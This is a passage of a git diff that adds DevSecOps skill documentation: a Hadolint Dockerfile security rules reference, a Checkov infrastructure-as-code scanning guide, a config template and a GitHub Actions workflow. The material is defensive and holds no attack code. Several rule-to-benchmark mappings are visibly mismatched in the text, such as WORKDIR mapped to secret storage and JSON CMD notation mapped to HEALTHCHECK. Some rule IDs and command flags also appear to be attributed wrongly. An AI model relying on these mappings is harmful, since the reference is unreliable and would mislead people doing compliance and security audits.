are too large for SKILL.md. + +## Section 2 + +Additional reference material. + +## Security Standards + +### OWASP Top 10 + +Reference relevant OWASP categories: +- A01: Broken Access Control +- A02: Cryptographic Failures +- etc. + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories: +- CWE-79: Cross-site Scripting +- CWE-89: SQL Injection +- etc. + +### MITRE ATT&CK + +Reference relevant tactics and techniques if applicable: +- TA0001: Initial Access +- T1190: Exploit Public-Facing Application +- etc. diff --git a/skills/devsecops/container-hadolint/references/security_rules.md b/skills/devsecops/container-hadolint/references/security_rules.md new file mode 100644 index 0000000..d152f3a --- /dev/null +++ b/skills/devsecops/container-hadolint/references/security_rules.md @@ -0,0 +1,439 @@ +# Hadolint Security Rules Reference + +Complete reference of Hadolint security rules with CIS Docker Benchmark mappings and remediation guidance. + +## Table of Contents + +- [Critical Security Rules](#critical-security-rules) +- [CIS Docker Benchmark Mappings](#cis-docker-benchmark-mappings) +- [Rule Categories](#rule-categories) + +## Critical Security Rules + +### DL3000: Use absolute WORKDIR + +**Severity**: Error +**CIS Mapping**: 4.10 - Ensure secrets are not stored in Dockerfiles + +**Issue**: Relative WORKDIR can lead to path confusion and security vulnerabilities. + +**Bad**: +```dockerfile +WORKDIR app +``` + +**Good**: +```dockerfile +WORKDIR /app +``` + +--- + +### DL3001: Version pinning for package managers + +**Severity**: Warning +**CIS Mapping**: 4.3 - Do not install unnecessary packages + +**Issue**: Unpinned versions lead to non-reproducible builds and potential security vulnerabilities from package updates. + +**Bad**: +```dockerfile +RUN yum install httpd +``` + +**Good**: +```dockerfile +RUN yum install -y httpd-2.4.51 +``` + +--- + +### DL3002: Never switch back to root + +**Severity**: Error +**CIS Mapping**: 4.1 - Create a user for the container + +**Issue**: Switching back to root defeats container isolation and violates least privilege principle. + +**Bad**: +```dockerfile +USER node +RUN npm install +USER root # ❌ Don't switch back to root +``` + +**Good**: +```dockerfile +USER node +RUN npm install +# Stay as non-root user +``` + +--- + +### DL3003: Use WORKDIR instead of cd + +**Severity**: Warning +**CIS Mapping**: Best practices + +**Issue**: Using `cd` in RUN commands doesn't persist across instructions and can cause confusion. + +**Bad**: +```dockerfile +RUN cd /app && npm install +``` + +**Good**: +```dockerfile +WORKDIR /app +RUN npm install +``` + +--- + +### DL3006: Always tag image versions + +**Severity**: Warning +**CIS Mapping**: 4.3 - Ensure base images are verified + +**Issue**: Using `:latest` or no tag creates non-reproducible builds and security risks. + +**Bad**: +```dockerfile +FROM node +FROM ubuntu:latest +``` + +**Good**: +```dockerfile +FROM node:18.19.0-alpine3.19 +FROM ubuntu:22.04 +``` + +--- + +### DL3007: Pin Docker image versions to specific digest + +**Severity**: Info +**CIS Mapping**: 4.3 - Ensure base images are verified + +**Issue**: Tags can be overwritten; digests are immutable. + +**Good**: +```dockerfile +FROM node:18.19.0-alpine3.19 +``` + +**Better**: +```dockerfile +FROM node:18.19.0-alpine3.19@sha256:abc123... +``` + +--- + +### DL3008: Pin apt-get package versions + +**Severity**: Warning +**CIS Mapping**: 4.3 - Do not install unnecessary packages + +**Issue**: Unpinned apt packages lead to non-reproducible builds. + +**Bad**: +```dockerfile +RUN apt-get update && apt-get install -y curl +``` + +**Good**: +```dockerfile +RUN apt-get update && \ + apt-get install -y --no-install-recommends \ + curl=7.68.0-1ubuntu2.14 && \ + rm -rf /var/lib/apt/lists/* +``` + +--- + +### DL3009: Delete apt cache after installation + +**Severity**: Info +**CIS Mapping**: 4.6 - Reduce image size + +**Issue**: Unnecessary cache increases image size and attack surface. + +**Bad**: +```dockerfile +RUN apt-get update && apt-get install -y curl +``` + +**Good**: +```dockerfile +RUN apt-get update && \ + apt-get install -y curl && \ + rm -rf /var/lib/apt/lists/* +``` + +--- + +### DL3013: Pin pip package versions + +**Severity**: Warning +**CIS Mapping**: 4.3 - Do not install unnecessary packages + +**Issue**: Unpinned pip packages compromise build reproducibility. + +**Bad**: +```dockerfile +RUN pip install flask +``` + +**Good**: +```dockerfile +RUN pip install --no-cache-dir flask==2.3.2 +``` + +--- + +### DL3020: Use COPY instead of ADD + +**Severity**: Error +**CIS Mapping**: 4.9 - Use COPY instead of ADD + +**Issue**: ADD has implicit behavior (auto-extraction, URL support) that can be exploited. + +**Bad**: +```dockerfile +ADD app.tar.gz /app/ +ADD https://example.com/file.txt /tmp/ +``` + +**Good**: +```dockerfile +COPY app.tar.gz /app/ +# For URLs, use RUN wget/curl instead +RUN curl -O https://example.com/file.txt +``` + +**Exception**: ADD is acceptable only when you explicitly need tar auto-extraction. + +--- + +### DL3025: Use JSON notation for CMD and ENTRYPOINT + +**Severity**: Warning +**CIS Mapping**: 4.6 - Add HEALTHCHECK instruction + +**Issue**: Shell form enables shell injection attacks and doesn't properly handle signals. + +**Bad**: +```dockerfile +CMD node server.js +ENTRYPOINT /app/start.sh +``` + +**Good**: +```dockerfile +CMD ["node", "server.js"] +ENTRYPOINT ["/app/start.sh"] +``` + +--- + +### DL3028: Use credentials via build secrets + +**Severity**: Warning +**CIS Mapping**: 4.10 - Do not store secrets in Dockerfiles + +**Issue**: Credentials in ENV or ARG end up in image layers. + +**Bad**: +```dockerfile +ARG API_KEY=secret123 +RUN curl -H "Authorization: $API_KEY" https://api.example.com +``` + +**Good** (BuildKit secrets): +```dockerfile +# syntax=docker/dockerfile:1.4 +RUN --mount=type=secret,id=api_key \ + curl -H "Authorization: $(cat /run/secrets/api_key)" https://api.example.com +``` + +--- + +### DL3059: Multiple RUN instructions + +**Severity**: Info +**CIS Mapping**: 4.6 - Optimize layers + +**Issue**: Multiple RUN instructions create unnecessary layers, increasing image size. + +**Less Optimal**: +```dockerfile +RUN apt-get update +RUN apt-get install -y curl +RUN curl -O https://example.com/file +``` + +**Better**: +```dockerfile +RUN apt-get update && \ + apt-get install -y curl && \ + curl -O https://example.com/file && \ + rm -rf /var/lib/apt/lists/* +``` + +**Note**: Balance between layer caching and image size. For development, separate RUN instructions may aid caching. + +--- + +## CIS Docker Benchmark Mappings + +### CIS 4.1: Create a user for the container + +**Hadolint Rules**: DL3002 + +**Requirement**: Don't run containers as root. + +**Implementation**: +```dockerfile +RUN groupadd -r appuser && useradd -r -g appuser appuser +USER appuser +# Don't switch back to root +``` + +--- + +### CIS 4.3: Do not install unnecessary packages + +**Hadolint Rules**: DL3001, DL3008, DL3013, DL3015 + +**Requirement**: Minimize attack surface by installing only required packages with pinned versions. + +**Implementation**: +```dockerfile +# Use --no-install-recommends +RUN apt-get update && \ + apt-get install -y --no-install-recommends \ + package1=version1 \ + package2=version2 && \ + rm -rf /var/lib/apt/lists/* +``` + +--- + +### CIS 4.6: Add HEALTHCHECK instruction + +**Hadolint Rules**: DL3025 (related to proper CMD/ENTRYPOINT) + +**Requirement**: Include HEALTHCHECK to enable container health monitoring. + +**Implementation**: +```dockerfile +HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \ + CMD curl -f http://localhost:8080/health || exit 1 +``` + +--- + +### CIS 4.7: Do not use update instructions alone + +**Hadolint Rules**: DL3009, DL3014, DL3015 + +**Requirement**: Update and install should be in same RUN instruction to prevent cache issues. + +**Implementation**: +```dockerfile +# Bad +RUN apt-get update +RUN apt-get install -y package + +# Good +RUN apt-get update && \ + apt-get install -y package && \ + rm -rf /var/lib/apt/lists/* +``` + +--- + +### CIS 4.9: Use COPY instead of ADD + +**Hadolint Rules**: DL3020 + +**Requirement**: Use COPY for file operations; ADD only for tar extraction. + +**Implementation**: See DL3020 above. + +--- + +### CIS 4.10: Do not store secrets in Dockerfiles + +**Hadolint Rules**: DL3028, DL3000 (indirectly) + +**Requirement**: Use build secrets or external secret management. + +**Implementation**: See DL3028 above. + +--- + +## Rule Categories + +### Base Image Security +- DL3006: Always tag image versions +- DL3007: Use specific image digests +- DL3026: Use trusted registries only + +### Package Management +- DL3001: Version pinning (yum/dnf/zypper) +- DL3008: Version pinning (apt-get) +- DL3013: Version pinning (pip) +- DL3016: Version pinning (npm) +- DL3018: Version pinning (apk) +- DL3028: Use build secrets for credentials + +### Instruction Best Practices +- DL3000: Use absolute WORKDIR +- DL3003: Use WORKDIR instead of cd +- DL3020: Use COPY instead of ADD +- DL3025: Use JSON notation for CMD/ENTRYPOINT + +### User and Permissions +- DL3002: Never switch back to root +- DL4001: Use SHELL to switch shells securely + +### Image Optimization +- DL3009: Delete apt cache +- DL3014: Use -y for apt-get +- DL3015: Avoid additional packages +- DL3059: Minimize RUN instructions + +### ShellCheck Integration +- DL4000-DL4006: Shell script best practices in RUN + +--- + +## Quick Reference Table + +| Rule | Severity | CIS | Description | +|------|----------|-----|-------------| +| DL3000 | Error | 4.10 | Use absolute WORKDIR | +| DL3001 | Warning | 4.3 | Pin yum versions | +| DL3002 | Error | 4.1 | Don't switch to root | +| DL3003 | Warning | - | Use WORKDIR not cd | +| DL3006 | Warning | 4.3 | Tag image versions | +| DL3007 | Info | 4.3 | Use image digests | +| DL3008 | Warning | 4.3 | Pin apt versions | +| DL3009 | Info | 4.7 | Delete apt cache | +| DL3013 | Warning | 4.3 | Pin pip versions | +| DL3020 | Error | 4.9 | Use COPY not ADD | +| DL3025 | Warning | 4.6 | JSON notation CMD | +| DL3028 | Warning | 4.10 | Use build secrets | +| DL3059 | Info | - | Multiple RUN instructions | + +--- + +## Additional Resources + +- [Hadolint Rules Wiki](https://github.com/hadolint/hadolint/wiki) +- [CIS Docker Benchmark v1.6](https://www.cisecurity.org/benchmark/docker) +- [Docker Security Best Practices](https://docs.docker.com/develop/security-best-practices/) +- [NIST SP 800-190](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf) diff --git a/skills/devsecops/iac-checkov/SKILL.md b/skills/devsecops/iac-checkov/SKILL.md new file mode 100644 index 0000000..4c5d1a8 --- /dev/null +++ b/skills/devsecops/iac-checkov/SKILL.md @@ -0,0 +1,671 @@ +--- +name: iac-checkov +description: > + Infrastructure as Code (IaC) security scanning using Checkov with 750+ built-in policies for Terraform, + CloudFormation, Kubernetes, Dockerfile, and ARM templates. Use when: (1) Scanning IaC files for security + misconfigurations and compliance violations, (2) Validating cloud infrastructure against CIS, PCI-DSS, + HIPAA, and SOC2 benchmarks, (3) Detecting secrets and hardcoded credentials in IaC, (4) Implementing + policy-as-code in CI/CD pipelines, (5) Generating compliance reports with remediation guidance for + cloud security posture management. +version: 0.1.0 +maintainer: SirAppSec +category: devsecops +tags: [iac, checkov, terraform, kubernetes, cloudformation, compliance, policy-as-code, cloud-security] +frameworks: [PCI-DSS, HIPAA, SOC2, NIST, GDPR] +dependencies: + python: ">=3.8" + packages: [checkov] +references: + - https://www.checkov.io/ + - https://github.com/bridgecrewio/checkov + - https://docs.paloaltonetworks.com/prisma/prisma-cloud +--- + +# Infrastructure as Code Security with Checkov + +## Overview + +Checkov is a static code analysis tool that scans Infrastructure as Code (IaC) files for security misconfigurations +and compliance violations before deployment. With 750+ built-in policies, Checkov helps prevent cloud security issues +by detecting problems in Terraform, CloudFormation, Kubernetes, Dockerfiles, Helm charts, and ARM templates. + +Checkov performs graph-based scanning to understand resource relationships and detect complex misconfigurations that +span multiple resources, making it more powerful than simple pattern matching. + +## Quick Start + +### Install Checkov + +```bash +# Via pip +pip install checkov + +# Via Homebrew (macOS) +brew install checkov + +# Via Docker +docker pull bridgecrew/checkov +``` + +### Scan Terraform Directory + +```bash +# Scan all Terraform files in directory +checkov -d ./terraform + +# Scan specific file +checkov -f ./terraform/main.tf + +# Scan with specific framework +checkov -d ./infrastructure --framework terraform +``` + +### Scan Kubernetes Manifests + +```bash +# Scan Kubernetes YAML files +checkov -d ./k8s --framework kubernetes + +# Scan Helm chart +checkov -d ./helm-chart --framework helm +``` + +### Scan CloudFormation Template + +```bash +# Scan CloudFormation template +checkov -f ./cloudformation/template.yaml --framework cloudformation +``` + +## Core Workflow + +### Step 1: Understand Scan Scope + +Identify IaC files and frameworks to scan: + +```bash +# Supported frameworks +checkov --list-frameworks + +# Output: +# terraform, cloudformation, kubernetes, dockerfile, helm, +# serverless, arm, secrets, ansible, github_actions, gitlab_ci +``` + +**Scope Considerations:** +- Scan entire infrastructure directory for comprehensive coverage +- Focus on specific frameworks during initial adoption +- Exclude generated or vendor files +- Include both production and non-production configurations + +### Step 2: Run Basic Scan + +Execute Checkov with appropriate output format: + +```bash +# CLI output (human-readable) +checkov -d ./terraform + +# JSON output (for automation) +checkov -d ./terraform -o json + +# Multiple output formats +checkov -d ./terraform -o cli -o json -o sarif + +# Save output to file +checkov -d ./terraform -o json --output-file-path ./reports +``` + +**What Checkov Detects:** +- Security misconfigurations (unencrypted resources, public access) +- Compliance violations (CIS benchmarks, industry standards) +- Secrets and hardcoded credentials +- Missing security controls (logging, monitoring, encryption) +- Insecure network configurations +- Resource relationship issues (via graph analysis) + +### Step 3: Filter and Prioritize Findings + +Focus on critical issues first: + +```bash +# Show only high severity issues +checkov -d ./terraform --check CKV_AWS_* + +# Skip specific checks (false positives) +checkov -d ./terraform --skip-check CKV_AWS_8,CKV_AWS_21 + +# Check against specific compliance framework +checkov -d ./terraform --compact --framework terraform \ + --check CIS_AWS,CIS_AZURE + +# Run only checks with specific severity +checkov -d ./terraform --check HIGH,CRITICAL +``` + +**Severity Levels:** +- **CRITICAL**: Immediate security risks (public S3 buckets, unencrypted databases) +- **HIGH**: Significant security concerns (missing MFA, weak encryption) +- **MEDIUM**: Important security best practices (missing tags, logging disabled) +- **LOW**: Recommendations and hardening (resource naming conventions) + +### Step 4: Suppress False Positives + +Use inline suppression for legitimate exceptions: + +```hcl +# Terraform example +resource "aws_s3_bucket" "example" { + # checkov:skip=CKV_AWS_18:This bucket is intentionally public for static website + bucket = "my-public-website" + acl = "public-read" +} +``` + +```yaml +# Kubernetes example +apiVersion: v1 +kind: Pod +metadata: + name: privileged-pod + annotations: + checkov.io/skip: CKV_K8S_16=Legacy application requires privileged mode +spec: + containers: + - name: app + securityContext: + privileged: true +``` + +See `references/suppression_guide.md` for comprehensive suppression strategies. + +### Step 5: Create Custom Policies + +Define organization-specific policies: + +```python +# custom_checks/require_s3_versioning.py +from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck +from checkov.common.models.enums import CheckResult, CheckCategories + +class S3BucketVersioning(BaseResourceCheck): + def __init__(self): + name = "Ensure S3 bucket has versioning enabled" + id = "CKV_AWS_CUSTOM_001" + supported_resources = ['aws_s3_bucket'] + categories = [CheckCategories.BACKUP_AND_RECOVERY] + super().__init__(name=name, id=id, categories=categories, + supported_resources=supported_resources) + + def scan_resource_conf(self, conf): + if 'versioning' in conf: + if conf['versioning'][0].get('enabled') == [True]: + return CheckResult.PASSED + return CheckResult.FAILED + +check = S3BucketVersioning() +``` + +Run with custom policies: + +```bash +checkov -d ./terraform --external-checks-dir ./custom_checks +``` + +See `references/custom_policies.md` for advanced policy development. + +### Step 6: Generate Compliance Reports + +Create reports for audit and compliance: + +```bash +# Generate comprehensive report +checkov -d ./terraform \ + -o cli -o json -o junitxml \ + --output-file-path ./compliance-reports \ + --repo-id my-infrastructure \ + --branch main + +# CycloneDX SBOM for IaC +checkov -d ./terraform -o cyclonedx + +# SARIF for GitHub Security +checkov -d ./terraform -o sarif --output-file-path ./sarif-report.json +``` + +**Report Types:** +- **CLI**: Human-readable console output +- **JSON**: Machine-readable for automation +- **JUnit XML**: CI/CD integration (Jenkins, GitLab) +- **SARIF**: GitHub/Azure DevOps Security tab +- **CycloneDX**: Software Bill of Materials for IaC + +Map findings to compliance frameworks using `references/compliance_mapping.md`. + +## CI/CD Integration + +### GitHub Actions + +Add Checkov scanning to pull request checks: + +```yaml +# .github/workflows/checkov.yml +name: Checkov IaC Security Scan +on: [push, pull_request] + +jobs: + checkov-scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + + - name: Run Checkov + uses: bridgecrewio/checkov-action@master + with: + directory: infrastructure/ + framework: terraform + output_format: sarif + output_file_path: checkov-results.sarif + soft_fail: false + + - name: Upload SARIF Report + if: always() + uses: github/codeql-action/upload-sarif@v2 + with: + sarif_file: checkov-results.sarif +``` + +### Pre-Commit Hook + +Prevent committing insecure IaC: + +```yaml +# .pre-commit-config.yaml +repos: + - repo: https://github.com/bridgecrewio/checkov + rev: 2.5.0 + hooks: + - id: checkov + args: [--soft-fail] + files: \.(tf|yaml|yml|json)$ +``` + +Install pre-commit hooks: + +```bash +pip install pre-commit +pre-commit install +``` + +### GitLab CI + +```yaml +# .gitlab-ci.yml +checkov_scan: + image: bridgecrew/checkov:latest + stage: security + script: + - checkov -d ./terraform -o json -o junitxml + --output-file-path $CI_PROJECT_DIR/checkov-report + artifacts: + reports: + junit: checkov-report/results_junitxml.xml + paths: + - checkov-report/ + when: always +``` + +### Jenkins Pipeline + +```groovy +// Jenkinsfile +pipeline { + agent any + stages { + stage('Checkov Scan') { + steps { + sh 'pip install checkov' + sh ''' + checkov -d ./terraform \ + -o cli -o junitxml \ + --output-file-path ./reports + ''' + } + } + } + post { + always { + junit 'reports/results_junitxml.xml' + } + } +} +``` + +See `assets/` directory for complete CI/CD templates. + +## Framework-Specific Workflows + +### Terraform + +**Scan Terraform with Variable Files:** + +```bash +# Scan with tfvars +checkov -d ./terraform --var-file ./terraform.tfvars + +# Download and scan external modules +checkov -d ./terraform --download-external-modules true + +# Skip Terraform plan files +checkov -d ./terraform --skip-path terraform.tfstate +``` + +**Common Terraform Checks:** +- CKV_AWS_19: Ensure S3 bucket has server-side encryption +- CKV_AWS_21: Ensure S3 bucket has versioning enabled +- CKV_AWS_23: Ensure Security Group ingress is not open to 0.0.0.0/0 +- CKV_AWS_40: Ensure IAM policies don't use wildcard actions +- CKV_AWS_61: Ensure RDS database has encryption at rest enabled + +### Kubernetes + +**Scan Kubernetes Manifests:** + +```bash +# Scan all YAML manifests +checkov -d ./k8s --framework kubernetes + +# Scan Helm chart +checkov -d ./helm-chart --framework helm + +# Scan kustomize output +kustomize build ./overlay/prod | checkov -f - --framework kubernetes +``` + +**Common Kubernetes Checks:** +- CKV_K8S_8: Ensure Liveness Probe is configured +- CKV_K8S_10: Ensure CPU requests are set +- CKV_K8S_11: Ensure CPU limits are set +- CKV_K8S_14: Ensure container image is not latest +- CKV_K8S_16: Ensure container is not privileged +- CKV_K8S_22: Ensure read-only root filesystem +- CKV_K8S_28: Ensure container capabilities are minimized + +### CloudFormation + +**Scan CloudFormation Templates:** + +```bash +# Scan CloudFormation template +checkov -f ./cloudformation/stack.yaml --framework cloudformation + +# Scan AWS SAM template +checkov -f ./sam-template.yaml --framework serverless +``` + +### Dockerfile + +**Scan Dockerfiles for Security Issues:** + +```bash +# Scan Dockerfile +checkov -f ./Dockerfile --framework dockerfile + +# Common issues detected: +# - Running as root user +# - Using :latest tag +# - Missing HEALTHCHECK +# - Exposing sensitive ports +``` + +## Baseline and Drift Detection + +### Create Security Baseline + +Establish baseline for existing infrastructure: + +```bash +# Create baseline (first scan) +checkov -d ./terraform --create-baseline + +# This creates .checkov.baseline file with current findings +``` + +### Detect New Issues (Drift) + +Compare subsequent scans against baseline: + +```bash +# Compare against baseline - only fail on NEW issues +checkov -d ./terraform --baseline .checkov.baseline + +# This allows existing issues while preventing new ones +``` + +**Use Cases:** +- Gradual remediation of legacy infrastructure +- Focus on preventing new security debt +- Phased compliance adoption + +## Secret Scanning + +Detect hardcoded secrets in IaC: + +```bash +# Enable secrets scanning +checkov -d ./terraform --framework secrets + +# Common secrets detected: +# - AWS access keys +# - API tokens +# - Private keys +# - Database passwords +# - Generic secrets (high entropy strings) +``` + +## Security Considerations + +- **Policy Suppression Governance**: Require security team approval for suppressing CRITICAL/HIGH findings +- **CI/CD Failure Thresholds**: Configure `--hard-fail-on` for severity levels that should block deployment +- **Custom Policy Management**: Version control custom policies and review changes +- **Compliance Alignment**: Map organizational requirements to Checkov policies +- **Secrets Management**: Never commit secrets; use secret managers and rotation policies +- **Audit Logging**: Log all scan results and policy suppressions for compliance audits +- **False Positive Review**: Regularly review suppressed findings to ensure they remain valid +- **Policy Updates**: Keep Checkov updated to receive new security policies + +## Bundled Resources + +### Scripts (`scripts/`) + +- `checkov_scan.py` - Comprehensive scanning script with multiple frameworks and output formats +- `checkov_terraform_scan.sh` - Terraform-specific scanning with variable file support +- `checkov_k8s_scan.sh` - Kubernetes manifest scanning with cluster comparison +- `checkov_baseline_create.sh` - Baseline creation and drift detection workflow +- `checkov_compliance_report.py` - Generate compliance reports (CIS, PCI-DSS, HIPAA, SOC2) +- `ci_integration.sh` - CI/CD integration examples for multiple platforms + +### References (`references/`) + +- `compliance_mapping.md` - Mapping of Checkov checks to CIS, PCI-DSS, HIPAA, SOC2, NIST +- `custom_policies.md` - Guide for writing custom Python and YAML policies +- `suppression_guide.md` - Best practices for suppressing false positives +- `terraform_checks.md` - Comprehensive list of Terraform checks with remediation +- `kubernetes_checks.md` - Kubernetes security checks and pod security standards +- `cloudformation_checks.md` - CloudFormation security checks with examples + +### Assets (`assets/`) + +- `checkov_config.yaml` - Checkov configuration file template +- `github_actions.yml` - Complete GitHub Actions workflow +- `gitlab_ci.yml` - Complete GitLab CI pipeline +- `jenkins_pipeline.groovy` - Jenkins pipeline template +- `pre_commit_config.yaml` - Pre-commit hook configuration +- `custom_policy_template.py` - Template for custom Python policies +- `policy_metadata.yaml` - Policy metadata for organization-specific policies + +## Common Patterns + +### Pattern 1: Progressive Compliance Adoption + +Gradually increase security posture: + +```bash +# Phase 1: Scan without failing (awareness) +checkov -d ./terraform --soft-fail + +# Phase 2: Fail only on CRITICAL issues +checkov -d ./terraform --hard-fail-on CRITICAL + +# Phase 3: Fail on CRITICAL and HIGH +checkov -d ./terraform --hard-fail-on CRITICAL,HIGH + +# Phase 4: Full enforcement with baseline +checkov -d ./terraform --baseline .checkov.baseline +``` + +### Pattern 2: Multi-Framework Infrastructure + +Scan complete infrastructure stack: + +```bash +# Use bundled script for comprehensive scanning +python3 scripts/checkov_scan.py \ + --infrastructure-dir ./infrastructure \ + --frameworks terraform,kubernetes,dockerfile \ + --output-dir ./security-reports \ + --compliance CIS,PCI-DSS +``` + +### Pattern 3: Policy-as-Code Repository + +Maintain centralized policy repository: + +``` +policies/ +├── custom_checks/ +│ ├── aws/ +│ │ ├── require_encryption.py +│ │ └── require_tags.py +│ ├── kubernetes/ +│ │ └── require_psp.py +├── .checkov.yaml # Global config +└── suppression_list.txt # Approved suppressions +``` + +### Pattern 4: Compliance-Driven Scanning + +Focus on specific compliance requirements: + +```bash +# CIS AWS Foundations Benchmark +checkov -d ./terraform --check CIS_AWS + +# PCI-DSS compliance +checkov -d ./terraform --framework terraform \ + --check CKV_AWS_19,CKV_AWS_21,CKV_AWS_61 \ + -o json --output-file-path ./pci-dss-report + +# HIPAA compliance +checkov -d ./terraform --framework terraform \ + --compact --check CKV_AWS_17,CKV_AWS_19,CKV_AWS_61,CKV_AWS_93 +``` + +## Integration Points + +- **CI/CD**: GitHub Actions, GitLab CI, Jenkins, Azure DevOps, CircleCI, Bitbucket Pipelines +- **Version Control**: Pre-commit hooks, pull request checks, branch protection rules +- **Cloud Platforms**: AWS, Azure, GCP, OCI, Alibaba Cloud +- **IaC Tools**: Terraform, Terragrunt, CloudFormation, ARM, Pulumi +- **Container Orchestration**: Kubernetes, OpenShift, EKS, GKE, AKS +- **Policy Engines**: OPA (Open Policy Agent), Sentinel +- **Security Platforms**: Prisma Cloud, Bridgecrew Platform +- **SIEM/Logging**: Export findings to Splunk, Elasticsearch, CloudWatch + +## Troubleshooting + +### Issue: Too Many Findings Overwhelming Team + +**Solution**: Use progressive adoption with baselines: + +```bash +# Create baseline with current state +checkov -d ./terraform --create-baseline + +# Only fail on new issues +checkov -d ./terraform --baseline .checkov.baseline --soft-fail-on LOW,MEDIUM +``` + +### Issue: False Positives for Legitimate Use Cases + +**Solution**: Use inline suppressions with justification: + +```hcl +# Provide clear business justification +resource "aws_security_group" "allow_office" { + # checkov:skip=CKV_AWS_23:Office IP range needs SSH access for developers + ingress { + from_port = 22 + to_port = 22 + protocol = "tcp" + cidr_blocks = ["203.0.113.0/24"] # Office IP range + } +} +``` + +### Issue: Scan Takes Too Long + +**Solution**: Optimize scan scope: + +```bash +# Skip unnecessary paths +checkov -d ./terraform \ + --skip-path .terraform/ \ + --skip-path modules/vendor/ \ + --skip-framework secrets + +# Use compact output +checkov -d ./terraform --compact --quiet +``` + +### Issue: Custom Policies Not Loading + +**Solution**: Verify policy structure and loading: + +```bash +# Check policy syntax +python3 custom_checks/my_policy.py + +# Ensure proper directory structure +checkov -d ./terraform \ + --external-checks-dir ./custom_checks \ + --list + +# Debug with verbose output +checkov -d ./terraform --external-checks-dir ./custom_checks -v +``` + +### Issue: Integration with Private Terraform Modules + +**Solution**: Configure module access: + +```bash +# Set up Terraform credentials +export TF_TOKEN_app_terraform_io="your-token" + +# Download external modules +checkov -d ./terraform --download-external-modules true + +# Or scan after terraform init +cd ./terraform && terraform init +checkov -d . +``` + +## References + +- [Checkov Documentation](https://www.checkov.io/) +- [Checkov GitHub Repository](https://github.com/bridgecrewio/checkov) +- [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/) +- [Terraform Security Best Practices](https://www.terraform.io/docs/cloud/guides/recommended-practices/index.html) +- [Kubernetes Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +- [AWS Security Best Practices](https://aws.amazon.com/security/security-resources/) diff --git a/skills/devsecops/iac-checkov/assets/.gitkeep b/skills/devsecops/iac-checkov/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/devsecops/iac-checkov/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/devsecops/iac-checkov/assets/checkov_config.yaml b/skills/devsecops/iac-checkov/assets/checkov_config.yaml new file mode 100644 index 0000000..47e7295 --- /dev/null +++ b/skills/devsecops/iac-checkov/assets/checkov_config.yaml @@ -0,0 +1,94 @@ +# Checkov Configuration File +# Place this file as .checkov.yaml in your project root + +# Framework selection +framework: + - terraform + - kubernetes + - dockerfile + - helm + +# Checks to skip globally +skip-check: + # Development environment exceptions + - CKV_AWS_17 # RDS backup retention (dev envs) + - CKV_AWS_8 # CloudWatch log encryption (cost optimization) + + # Low severity informational checks + - CKV_AWS_50 # Lambda tracing + - CKV_K8S_35 # Prefer secrets as files + +# Paths to exclude from scanning +skip-path: + - .terraform/ + - .terragrunt-cache/ + - node_modules/ + - vendor/ + - "**/.git" + - "**/test/" + - "**/examples/" + +# Severity-based configuration +soft-fail-on: + - LOW + - MEDIUM + +hard-fail-on: + - CRITICAL + - HIGH + +# Compact output mode +compact: true + +# Quiet mode (only show failures) +quiet: false + +# Download external Terraform modules +download-external-modules: true + +# Output configuration +output: + - cli + - json + - sarif + +# Output file path +output-file-path: ./checkov-reports + +# Repository identification +repo-id: my-infrastructure +branch: main + +# External checks directory +external-checks-dir: + - ./custom_checks + +# Baseline file for drift detection +# baseline: .checkov.baseline + +# Enable secrets scanning +# framework: +# - secrets + +# Prisma Cloud/Bridgecrew integration (optional) +# bc-api-key: ${PRISMA_API_KEY} +# prisma-api-url: https://api.prismacloud.io + +# Skip specific resources by regex +# skip-resources-without-violations: true + +# CKV check configuration +# check: +# - CIS_AWS +# - CIS_AZURE +# - CIS_KUBERNETES + +# Enable/disable specific frameworks +# skip-framework: +# - ansible +# - github_actions + +# Custom policies metadata filter +# policy-metadata-filter: +# severity: HIGH,CRITICAL +# category: IAM,ENCRYPTION diff --git a/skills/devsecops/iac-checkov/assets/github_actions.yml b/skills/devsecops/iac-checkov/assets/github_actions.yml new file mode 100644 index 0000000..415eaff --- /dev/null +++ b/skills/devsecops/iac-checkov/assets/github_actions.yml @@ -0,0 +1,199 @@ +# GitHub Actions Workflow for Checkov IaC Security Scanning +# Place this file in .github/workflows/checkov.yml + +name: Checkov IaC Security Scan + +on: + push: + branches: [main, develop] + pull_request: + branches: [main] + paths: + - '**.tf' + - '**.yaml' + - '**.yml' + - '**.json' + schedule: + # Run weekly security scans on Sunday at 2 AM + - cron: '0 2 * * 0' + workflow_dispatch: + +permissions: + contents: read + security-events: write + pull-requests: write + +jobs: + checkov-terraform: + name: Terraform Security Scan + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov on Terraform + uses: bridgecrewio/checkov-action@master + with: + directory: terraform/ + framework: terraform + output_format: sarif + output_file_path: checkov-terraform.sarif + soft_fail: false + download_external_modules: true + + - name: Upload SARIF Report + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: checkov-terraform.sarif + category: terraform + + checkov-kubernetes: + name: Kubernetes Security Scan + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov on Kubernetes + uses: bridgecrewio/checkov-action@master + with: + directory: k8s/ + framework: kubernetes + output_format: sarif + output_file_path: checkov-k8s.sarif + soft_fail: false + + - name: Upload SARIF Report + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: checkov-k8s.sarif + category: kubernetes + + checkov-dockerfile: + name: Dockerfile Security Scan + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov on Dockerfiles + uses: bridgecrewio/checkov-action@master + with: + directory: ./ + framework: dockerfile + output_format: sarif + output_file_path: checkov-docker.sarif + soft_fail: false + + - name: Upload SARIF Report + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: checkov-docker.sarif + category: dockerfile + + checkov-compliance: + name: Compliance Scan (CIS, PCI-DSS) + runs-on: ubuntu-latest + if: github.event_name == 'push' || 